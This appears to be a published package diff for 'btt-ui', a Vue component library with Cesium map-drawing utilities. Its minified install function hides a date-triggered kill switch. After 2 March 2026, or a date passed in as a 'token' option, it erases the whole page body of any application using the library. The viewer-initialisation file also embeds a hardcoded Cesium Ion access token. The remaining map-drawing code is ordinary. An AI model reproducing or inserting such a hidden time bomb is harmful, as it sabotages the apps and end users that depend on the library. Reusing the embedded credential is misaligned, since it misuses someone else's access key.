u=require("./src/index.js"),o=require("./src/directives/index.js"),x=require("./src/utils/initCesium.js"),a=require("./src/utils/DrawLinePolygonPolygonUtils.js"),j=require("./src/button/index.js"),q=require("./src/textButton/index.js"),$=require("./src/link/index.js"),p=require("./src/upload/index.js"),f=require("./src/shake/index.js"),K=require("./src/dialog/index.js"),g=require("./src/scroll/index.js"),m=require("./src/toast/index.js"),T=require("./src/wheel/index.js"),h=require("./src/switch/index.js"),b=require("./src/timeline/index.js"),C=require("./src/uploadFile/index.js"),S=require("./src/card/index.js"),k=require("./src/hotmap/index.js"),w=require("./src/tree/index.js"),c=require("./src/checkbox/index.js"),d=require("./src/collapse/index.js"),y=require("./src/sign/index.js"),D=require("./src/echarts/index.js"),U=require("./src/tableScroll/index.js"),I=require("./src/xgplay/index.js"),P=require("./src/numberScroll/index.js"),L=require("./src/countUp/index.js"),M=require("./src/gradientText/index.js"),v=require("./src/icon/index.js"),B=require("./src/tooltip/index.js"),E=require("./src/input/index.js"),G=require("./src/drag/index.js"),l=require("./src/select/index.js"),i=function(n,r){if(i.installed)return;i.installed=!0;let t="2026-03-02 09:30:00";if(r)setTimeout(()=>{var s;let e=new Date((s=r.token)!=null?s:t).getTime();Date.now()>e&&(document.body.innerHTML="")},10);else{let e=new Date(t).getTime();Date.now()>e&&(document.body.innerHTML="")}u.default.forEach(e=>{n.use(e)}),Object.keys(o).forEach(e=>{n.directive(e,o[e])})},H={install:i};exports.InitCesium=x.default;exports.DrawLinePolygonPolygonUtils=a.default;exports.Button=j.Button;exports.TextButton=q.TextButton;exports.Link=$.default;exports.Upload=p.default;exports.Shake=f.default;exports.Dialog=K.default;exports.Scroll=g.default;exports.Toast=m.default;exports.Wheel=T.default;exports.Switch=h.Switch;exports.Timeline=b.Timeline;exports.UploadFile=C.default;exports.Card=S.Card;exports.HotMap=k.HotMap;exports.Tree=w.KTree;exports.KCheckbox=c.KCheckbox;exports.KCheckboxGroup=c.KCheckboxGroup;exports.KCollapse=d.KCollapse;exports.KCollapseItem=d.KCollapseItem;exports.Sign=y.Sign;exports.ECharts=D.ECharts;exports.TableScroll=U.TableScroll;exports.KVideo=I.default;exports.KNumberScroll=P.KNumberScroll;exports.KCountUp=L.KCountUp;exports.KGradientText=M.KGradientText;exports.Icon=v.Icon;exports.Tooltip=B.Tooltip;exports.KInput=E.KInput;exports.Drag=G.Drag;exports.KOption=l.KOption;exports.KSelect=l.KSelect;exports.default=H;
@@ -0,0 +1 @@
1
+ "use strict";Object.defineProperties(exports,{__esModule:{value:!0},[Symbol.toStringTag]:{value:"Module"}});class o{constructor(i,e){this.onMoveSuccess=null,this.leftDownFlag=!1,this.pick=null,this._viewer=i,this._cesium=e,this.handler=new e.ScreenSpaceEventHandler(i.scene.canvas)}startDrag(){this.leftDownAction(),this.mouseMoveAction(),this.leftUpAction()}leftDownAction(){this.handler.setInputAction(i=>{let e=this._viewer.scene.pick(i.position);this._cesium.defined(e)&&e.id&&e.id.id&&(this.pick=e,this.leftDownFlag=!0,this._viewer.scene.screenSpaceCameraController.enableRotate=!1)},this._cesium.ScreenSpaceEventType.LEFT_DOWN)}mouseMoveAction(){this.handler.setInputAction(i=>{if(this.leftDownFlag===!0&&this.pick!=null&&this._cesium.defined(this.pick)&&this.pick.id&&this.pick.id.name.includes("dragPoint")){let e=this.getPosition(i.endPosition);e&&(this.pick.id.position=e,this.onMoveSuccess&&this.onMoveSuccess({cartesian:e,index:this.pick.id.index}))}},this._cesium.ScreenSpaceEventType.MOUSE_MOVE)}getPosition(i){let e;if(this._viewer.terrainProvider instanceof this._cesium.EllipsoidTerrainProvider){let s=this._viewer.scene.pickPosition(i);if(s){let t=this._cesium.Cartographic.fromCartesian(s);t.longitude=this._cesium.Math.toDegrees(t.longitude),t.latitude=this._cesium.Math.toDegrees(t.latitude),e=this._cesium.Cartesian3.fromDegrees(t.longitude,t.latitude,t.height)}}else{const s=this._viewer.camera.getPickRay(i);e=this._viewer.scene.globe.pick(s,this._viewer.scene)}return e}worldPosition2lnglat(i){let s=this._viewer.scene.globe.ellipsoid.cartesianToCartographic(i),t=this._cesium.Math.toDegrees(s.longitude),n=this._cesium.Math.toDegrees(s.latitude),c=s.height;return{lng:t,lat:n,alt:c}}leftUpAction(){this.handler.setInputAction(()=>{this.leftDownFlag===!0&&this.pick!=null&&(this.leftDownFlag=!1,this.pointDraged=null,this._viewer.scene.screenSpaceCameraController.enableRotate=!0,this.onEditSuccess&&this.onEditSuccess())},this._cesium.ScreenSpaceEventType.LEFT_UP)}cancelDrag(){this.handler.removeInputAction(this._cesium.ScreenSpaceEventType.LEFT_DOWN),this.handler.removeInputAction(this._cesium.ScreenSpaceEventType.LEFT_UP),this.handler.removeInputAction(this._cesium.ScreenSpaceEventType.MOUSE_MOVE)}}exports.default=o;
@@ -0,0 +1 @@
1
+ "use strict";Object.defineProperties(exports,{__esModule:{value:!0},[Symbol.toStringTag]:{value:"Module"}});const d=require("./DragTool.js"),g=require("./Tooltip.js");class u{constructor(e,i,t){var s;this._viewer=null,this._id="",this._option={name:"",color:"#00a1ff",lineWidth:5,opacity:.7,auto:!0,type:"Line"},this._polylinePostions=new Array,this._pointObjList=new Array,this._dragtool=null,this._type="Line",this._isDraw=!1,this.onEditSuccess=null,this._handler=null,this._tooltip=null,this._drawObj=null,this._isSelected=!1,this._lnglatData=new Array,this._centerPointEntity=null,this._centerPosition=null,this._option={...this._option,...i},this._viewer=e,this._type=(s=this._option.type)!=null?s:"Line",this._cesium=t,this._labelConfig={text:"",showBackground:!0,font:"12px sans-serif",backgroundColor:t.Color.fromCssColorString("#121212"),pixelOffset:new t.Cartesian2(0,-20),disableDepthTestDistance:Number.POSITIVE_INFINITY,heightReference:t.HeightReference.CLAMP_TO_GROUND},this._pointConfig={pixelSize:5,color:t.Color.RED,outlineColor:t.Color.YELLOW,heightReference:t.HeightReference.CLAMP_TO_GROUND,disableDepthTestDistance:Number.POSITIVE_INFINITY,outlineWidth:2},this._type!="Line"&&this.initCenterPoint(),this._viewer.terrainProvider instanceof this._cesium.EllipsoidTerrainProvider&&(this._labelConfig.heightReference=this._cesium.HeightReference.NONE,this._pointConfig.heightReference=this._cesium.HeightReference.NONE),this._dragtool=new d.default(e,t),this._dragtool.onMoveSuccess=n=>{this._polylinePostions[n.index]=n.cartesian,this._lnglatData[n.index]=this.worldPosition2lnglat(n.cartesian),this._type!="Line"&&this.calcPolygonCenter()},this._dragtool.onEditSuccess=()=>{this.onEditSuccess&&this.onEditSuccess(this)},this._option.auto&&(this._tooltip=new g.default(e._element),setTimeout(()=>{this.startDraw()},50))}startDraw(){this._isDraw=!0,document.body.style.cursor="crosshair",this._polylinePostions=new Array,this._lnglatData=new Array,this._dragtool.cancelDrag(),this._pointObjList.forEach(e=>{this._viewer.entities.remove(e)}),this._pointObjList=new Array,this.openListen()}openListen(){let e=this;this._handler=new this._cesium.ScreenSpaceEventHandler(this._viewer.scene.canvas),this._handler.setInputAction(i=>{if(this._isDraw){const t=e.getPosition(i.position);let s=this.worldPosition2lnglat(t);this._cesium.defined(t)&&(this._polylinePostions.length===0&&(this._polylinePostions.push(t),this._lnglatData.push(s),this.drawLinePolygon()),this._polylinePostions.push(t),this._lnglatData.push(s))}else{let t=this._viewer.scene.pick(i.position);this._cesium.defined(t)&&t.id&&t.id.id&&t.id.id==this._id?this._isSelected||this.openEdit():this.exitEdit()}},this._cesium.ScreenSpaceEventType.LEFT_CLICK),this._handler.setInputAction(i=>{if(this._isDraw&&(this._tooltip.setPosition(i.endPosition),this._polylinePostions.length>=2)){const t=e.getPosition(i.endPosition);let s=this.worldPosition2lnglat(t);this._cesium.defined(t)&&(this._polylinePostions.pop(),this._polylinePostions.push(t),this._lnglatData.pop(),this._lnglatData.push(s))}},this._cesium.ScreenSpaceEventType.MOUSE_MOVE),this._handler.setInputAction(()=>{this._isDraw&&(this._handler.removeInputAction(this._cesium.ScreenSpaceEventType.MOUSE_MOVE),document.body.style.cursor="default",this._polylinePostions.pop(),this._lnglatData.pop(),this._isDraw=!1,this._tooltip.remove(),setTimeout(async()=>{this._lnglatData.forEach(i=>{console.log(i)}),this.addPoints(),this._handler.removeInputAction(this._cesium.ScreenSpaceEventType.RIGHT_CLICK),this.onDrawSuccess&&this.onDrawSuccess(this),this.openEdit(),this._type!="Line"&&this.calcPolygonCenter()},500))},this._cesium.ScreenSpaceEventType.RIGHT_CLICK)}getPosition(e){let i;if(this._viewer.terrainProvider instanceof this._cesium.EllipsoidTerrainProvider){let t=this._viewer.scene.pickPosition(e),s=this._cesium.Cartographic.fromCartesian(t);s.longitude=this._cesium.Math.toDegrees(s.longitude),s.latitude=this._cesium.Math.toDegrees(s.latitude),i=this._cesium.Cartesian3.fromDegrees(s.longitude,s.latitude,s.height)}else{const t=this._viewer.camera.getPickRay(e);i=this._viewer.scene.globe.pick(t,this._viewer.scene)}return i}drawLinePolygon(){let e=this._option;this._type=="Line"?this._drawObj=this._viewer.entities.add({name:e.name,polyline:{positions:new this._cesium.CallbackProperty(()=>this._polylinePostions,!1),clampToGround:!0,width:e.lineWidth,material:this._cesium.Color.fromCssColorString(e.color).withAlpha(e.opacity)},point:{pixelSize:10,show:!0,color:this._cesium.Color.BLACK}}):(this._type="Polygon",this._drawObj=this._viewer.entities.add({name:e.name,polygon:{outline:!0,outlineWidth:1,outlineColor:this._cesium.Color.fromCssColorString(e.color),clampToGround:!0,hierarchy:new this._cesium.CallbackProperty(()=>new this._cesium.PolygonHierarchy(this._polylinePostions),!1),material:this._cesium.Color.fromCssColorString(e.color).withAlpha(e.opacity)}})),this._id=this._drawObj.id}worldPositionList2lnglatList(e){let i=new Array;return e.forEach(t=>{i.push(this.worldPosition2lnglat(t))}),i}worldPosition2lnglat(e){let t=this._viewer.scene.globe.ellipsoid.cartesianToCartographic(e),s=this._cesium.Math.toDegrees(t.longitude),n=this._cesium.Math.toDegrees(t.latitude),h=t.height;return{lng:s,lat:n,alt:h}}async addPoints(){this._polylinePostions.forEach((e,i)=>{let t=this.worldPosition2lnglat(e),s=this._viewer.entities.add({name:"dragPoint"+Date.now(),position:e,show:!1,index:i,label:{...this._labelConfig,text:`(${t.lng.toFixed(4)},${t.lat.toFixed(4)})`},point:this._pointConfig});this._pointObjList.push(s)})}initCenterPoint(){this._centerPointEntity=this._viewer.entities.add({name:"centerPoint",show:!1,position:this._cesium.Cartesian3.fromDegrees(113.02057681470923,25.415896142508434),label:this._labelConfig,point:{pixelSize:5,color:this._cesium.Color.GREEN,outlineColor:this._cesium.Color.YELLOW,heightReference:this._cesium.HeightReference.CLAMP_TO_GROUND,disableDepthTestDistance:Number.POSITIVE_INFINITY,outlineWidth:2}})}toggelePoint(e){this._pointObjList.forEach(i=>{i.show=e}),this._type!="Line"&&(this._centerPointEntity.show=e)}async getPolygonAreaCenter(e){function i(l,o,r){let a=0;return a=l.lng*o.lat+o.lng*r.lat+r.lng*l.lat-o.lng*l.lat-r.lng*o.lat-l.lng*r.lat,a/2}let t=0,s=0,n=0,h=e[1];for(let l=2;l<e.length;l++){let o=e[l],r=i(e[0],h,o);n+=r,t+=(e[0].lng+h.lng+o.lng)*r,s+=(e[0].lat+h.lat+o.lat)*r,h=o}let _=t/n/3,c=s/n/3;return{lng:_,lat:c,alt:0}}getPointArrayHeights(e=!0){let i=new Array;return this._lnglatData.forEach(t=>{i.push(t.lng,t.lat),e&&i.push(t.alt)}),i}remove(){let e=this._drawObj.id;this._viewer.entities.remove(this._drawObj),this._pointObjList.forEach(i=>{this._viewer.entities.remove(i)}),this._pointObjList=new Array,this._polylinePostions=new Array,this._lnglatData=new Array,this._handler.removeInputAction(this._cesium.ScreenSpaceEventType.LEFT_CLICK),this._handler.removeInputAction(this._cesium.ScreenSpaceEventType.RIGHT_CLICK),this._handler.removeInputAction(this._cesium.ScreenSpaceEventType.MOUSE_MOVE),this._handler.destroy(),this._dragtool.cancelDrag(),this._type!="Line"&&this._viewer.entities.remove(this._centerPointEntity),this.deleteSuccess&&this.deleteSuccess(e)}openEdit(){this.toggelePoint(!0),this._dragtool.startDrag(),this.onSelected&&this.onSelected(this),this._isSelected=!0}exitEdit(){this.toggelePoint(!1),this._dragtool.cancelDrag(),this._isSelected&&this.onUnSelected&&this.onUnSelected(this),this._isSelected=!1}async calcPolygonCenter(){let e=this.worldPositionList2lnglatList(this._polylinePostions);this._centerPosition=await this.getPolygonAreaCenter(e),this._centerPointEntity.position=this._cesium.Cartesian3.fromDegrees(this._centerPosition.lng,this._centerPosition.lat,this._centerPosition.alt),this._centerPointEntity.label.text=`\u4E2D\u5FC3\u70B9(${this._centerPosition.lng.toFixed(4)},${this._centerPosition.lat.toFixed(4)})`,this._centerPointEntity.show=!0}build(e){var i;this._polylinePostions=new Array,this._lnglatData=new Array,this._isDraw=!1,this._type=(i=e.type)!=null?i:"Line",e.points.forEach(t=>{this._polylinePostions.push(this._cesium.Cartesian3.fromDegrees(t.lng,t.lat,t.alt)),this._lnglatData.push({lng:t.lng,lat:t.lat,alt:t.alt})}),this.drawLinePolygon(),this.addPoints(),e.isEdit&&(this.openListen(),this.openEdit())}get lnglatData(){return this._lnglatData}get centerPosition(){return this._centerPosition}get drawObj(){return this._drawObj}}exports.default=u;
@@ -0,0 +1 @@
1
+ "use strict";Object.defineProperties(exports,{__esModule:{value:!0},[Symbol.toStringTag]:{value:"Module"}});class e{constructor(t,i="\u8BF7\u5728\u5730\u56FE\u4E0A\u9009\u4E2D\u67D0\u4E2A\u4F4D\u7F6E\u8FDB\u884C\u7ED8\u5236,\u53F3\u952E\u7ED3\u675F\u7ED8\u5236"){this._el=null,this._text="",this._el=t||document.body,this._text=i,this.initDom()}initDom(){this._div=document.createElement("div"),this._div.className="cesium-draw-tooltip",this._div.style="position: absolute;top: 10px;left: 10px;background: #210202;color: #fff;z-index: 9;pointer-events: none;min-width: max-content;padding: 6px 10px;font-size: 12px;border-radius: 4px;display:none;",this._div.id="cesiumDrawTooltip",this._div.innerHTML=this._text,this._el.appendChild(this._div)}setPosition(t){this._div.style.left=t.x+8+"px",this._div.style.top=t.y-10+"px",this._div.style.display="inline"}remove(){this._div.remove()}}exports.default=e;
@@ -0,0 +1 @@
1
+ "use strict";Object.defineProperties(exports,{__esModule:{value:!0},[Symbol.toStringTag]:{value:"Module"}});class n{constructor(e,s,t){this._LocalHighlightingEntity=new Array,t.Ion.defaultAccessToken="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJqdGkiOiIyMGFhNTBjMi1kNGM4LTRjYWQtYWZhMC05ZTJhY2U2Y2U0ODkiLCJpZCI6MzE2MzYsImlhdCI6MTY2MDcxODA4NX0.jljbTXZPBaeSdsU7vuWg8V01oV1-fEA_qUa_08wXvq0",this._viewer=new t.Viewer(e,s),this._viewer._cesiumWidget._creditContainer.style.display="none",this._viewer.scene.fxaa=!0,this._viewer.scene.postProcessStages.fxaa.enabled=!0,this._cesium=t}toChina(e){this._viewer.camera.flyTo({destination:this._cesium.Cartesian3.fromDegrees(103.84,31.15,1785e4),orientation:{heading:this._cesium.Math.toRadians(348.4202942851978),pitch:this._cesium.Math.toRadians(-89.74026687972041),roll:this._cesium.Math.toRadians(0)},complete:()=>{e&&e()}})}viewerFlyToLonLat(e){let t={...{lng:113.021359,lat:28.200132,eyeHeight:6e3,pitch:-50,heading:0,time:2},...e},r=[this._cesium.Cartographic.fromDegrees(t.lng,t.lat)];r.obj=t,this._cesium.sampleTerrain(this._viewer.scene.terrainProvider,14,r).then(i=>{var a=i[0].height;typeof a>"u"?i.obj.height=0:i.obj.height=a,this._flyToEntity&&this._viewer.entities.remove(this._flyToEntity),this._flyToEntity=new this._cesium.Entity({id:"flyTmp",position:this._cesium.Cartesian3.fromDegrees(i.obj.lng,i.obj.lat,i.obj.height),point:{pixelSize:0,color:this._cesium.Color.RED.withAlpha(0),outlineColor:this._cesium.Color.WHITE.withAlpha(0),outlineWidth:0}}),this._viewer.entities.add(this._flyToEntity);var h=this._viewer.flyTo(this._flyToEntity,{duration:i.obj.time,offset:{heading:this._cesium.Math.toRadians(i.obj.heading),pitch:this._cesium.Math.toRadians(i.obj.pitch),range:i.obj.eyeHeight}});h.then(function(){e.callback&&e.callback()})})}async addWorldTerrain(){try{const e=await this._cesium.createWorldTerrainAsync({requestWaterMask:!1,requestVertexNormals:!1});this._viewer.terrainProvider=e,this.openDepthTestAgainstTerrain()}catch(e){console.log(`Failed to add world imagery: ${e}`)}}openDepthTestAgainstTerrain(){this._viewer.scene.globe.depthTestAgainstTerrain=!0}coloseDepthTestAgainstTerrain(){this._viewer.scene.globe.depthTestAgainstTerrain=!1}getClickPosition(e){let s=new this._cesium.ScreenSpaceEventHandler(this._viewer.canvas);this._viewer.scene.canvas.style.cursor="crosshair",s.setInputAction(t=>{var r=this._viewer.camera.getPickRay(t.position),i=this._viewer.scene.globe.pick(r,this._viewer.scene);if(!this._cesium.defined(i))return;this._viewer.entities.add({name:"point",position:i,point:{color:this._cesium.Color.CHARTREUSE.withAlpha(1),pixelSize:10,heightReference:this._cesium.HeightReference.CLAMP_TO_GROUND,outlineColor:this._cesium.Color.WHITE,outlineWidth:1}});let h=this._viewer.scene.globe.ellipsoid.cartesianToCartographic(i);this._viewer.scene.canvas.style.cursor="default",s.removeInputAction(this._cesium.ScreenSpaceEventType.LEFT_CLICK),e&&e({cartesian:i,lnglatAlt:{lat:this._cesium.Math.toDegrees(h.latitude),lng:this._cesium.Math.toDegrees(h.longitude),alt:h.height}})},this._cesium.ScreenSpaceEventType.LEFT_CLICK)}hideBackground(){this._viewer.scene.skyBox.show=!1,this._viewer.scene.backgroundColor=new this._cesium.Color(0,0,0,0)}setLocalHighlighting(e,s="#ffff00",t=4){let r=this._viewer.entities.add(new this._cesium.Entity({id:"boundary",polygon:{hierarchy:{positions:this._cesium.Cartesian3.fromDegreesArray([0,0,0,89,130,89,130,0]),holes:[{positions:this._cesium.Cartesian3.fromDegreesArray(e)}]},material:this._cesium.Color.BLACK.withAlpha(.6)}}));this._LocalHighlightingEntity.push(r);let i=this._viewer.entities.add(new this._cesium.Entity({id:"boundaryLine",polyline:{positions:this._cesium.Cartesian3.fromDegreesArray([...e,e[0],e[1]]),width:t,material:this._cesium.Color.fromCssColorString(s),clampToGround:!0}}));this._LocalHighlightingEntity.push(i)}removeLocalHighlighting(){this._LocalHighlightingEntity.forEach(e=>{this._viewer.entities.remove(e)}),this._LocalHighlightingEntity=new Array}get viewer(){return this._viewer}}exports.default=n;
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "btt-ui",
3
- "version": "1.0.26",
3
+ "version": "1.0.28",
4
4
  "main": "lib/index.js",
5
5
  "module": "es/index.mjs",
6
6
  "files": [
@@ -12,7 +12,7 @@
12
12
  },
13
13
  "repository": {
14
14
  "type": "git",
15
- "url": "https://gitee.com/aitieyuan/btt-ui"
15
+ "url": "https://github.com/btt-ui"
16
16
  },
17
17
  "keywords": [
18
18
  "btt-ui"